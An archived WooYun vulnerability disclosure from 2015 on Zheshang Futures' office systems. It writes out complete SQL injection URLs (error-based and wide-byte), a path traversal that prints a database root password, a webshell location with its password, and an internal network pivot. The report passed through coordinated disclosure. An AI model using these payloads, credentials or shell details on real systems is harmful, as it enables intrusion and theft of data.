当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153584

漏洞标题：期货安全之浙商期货多系统多处SQL注入&任意文件遍历\上传导致内网小漫游(涉及全员工账号密码\发现2013年多种后门)

相关厂商：浙商期货

漏洞作者： 管管侠

提交时间：2015-11-11 15:47

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-11： 细节已通知厂商并且等待厂商处理中
2015-11-23： 厂商已经确认，细节仅向厂商公开
2015-12-03： 细节向核心白帽子及相关领域专家公开
2015-12-13： 细节向普通白帽子公开
2015-12-23： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

1200+的员工，期货也都跟基金、证券、股票差不多，很有钱的样子

详细说明：

涉及站点：
http://**.**.**.**
**.**.**.**
1.注入点：
http://**.**.**.**//interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat(version(),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
**.**.**.**/interface/auth.php?&PASSWORD=1&USER_ID=%df%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
**.**.**.**/general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20and%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(substring((select%20md5(1122)%20from%20user%20limit%201),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%23
**.**.**.**/logincheck.php?PASSWORD=g00dPa%24%24w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf%27
http://**.**.**.**/interface/ugo.php?OA_USER=aaaaaa%2527

0.png


2.任意文件遍历
**.**.**.**//general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php

$MYSQL_SERVER="**.**.**.**:3336";
$MYSQL_USER="root";
$MYSQL_DB="TD_OA";
$MYSQL_PASS="myoa888";

漏洞证明：

3.任意文件上传getshell
上传方式如该案例：
http://**.**.**.**/bugs/wooyun-2013-037642
shell:
**.**.**.**//general/vmeet/wbUpload/testshell.php
密码：0

1.png


2.png


3.png


4.png


5.png


6.png


7.png


8.png


代理到内网,网络太卡,仅尝试访问几个内网地址...

**.**.**.** 	Apache 
[浙商期货网络智能办公系统]
**.**.**.** 	Microsoft-IIS/6.0 
[200 OK]
**.**.**.** 	Apache/2.2.14 (Win32) PHP/5.4.15 PHP/5.4.15
[在线安装-V8+终端安全系统Web控制台]
**.**.**.** 	Apache 
[WebMail | Powered by Winmail Server]
**.**.**.** 	Apache/2.2.11 (Win32) PHP/5.2.10 PHP/5.2.10
[浙商期货网络智能办公系统]
........


9.png


10.png


11.png


12.png


就不玩了，历史后门挺多，发现即提交，后门自查吧....

修复方案：

哈

版权声明：转载请注明来源 管管侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-11-23 10:30

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向证券业信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态：

暂无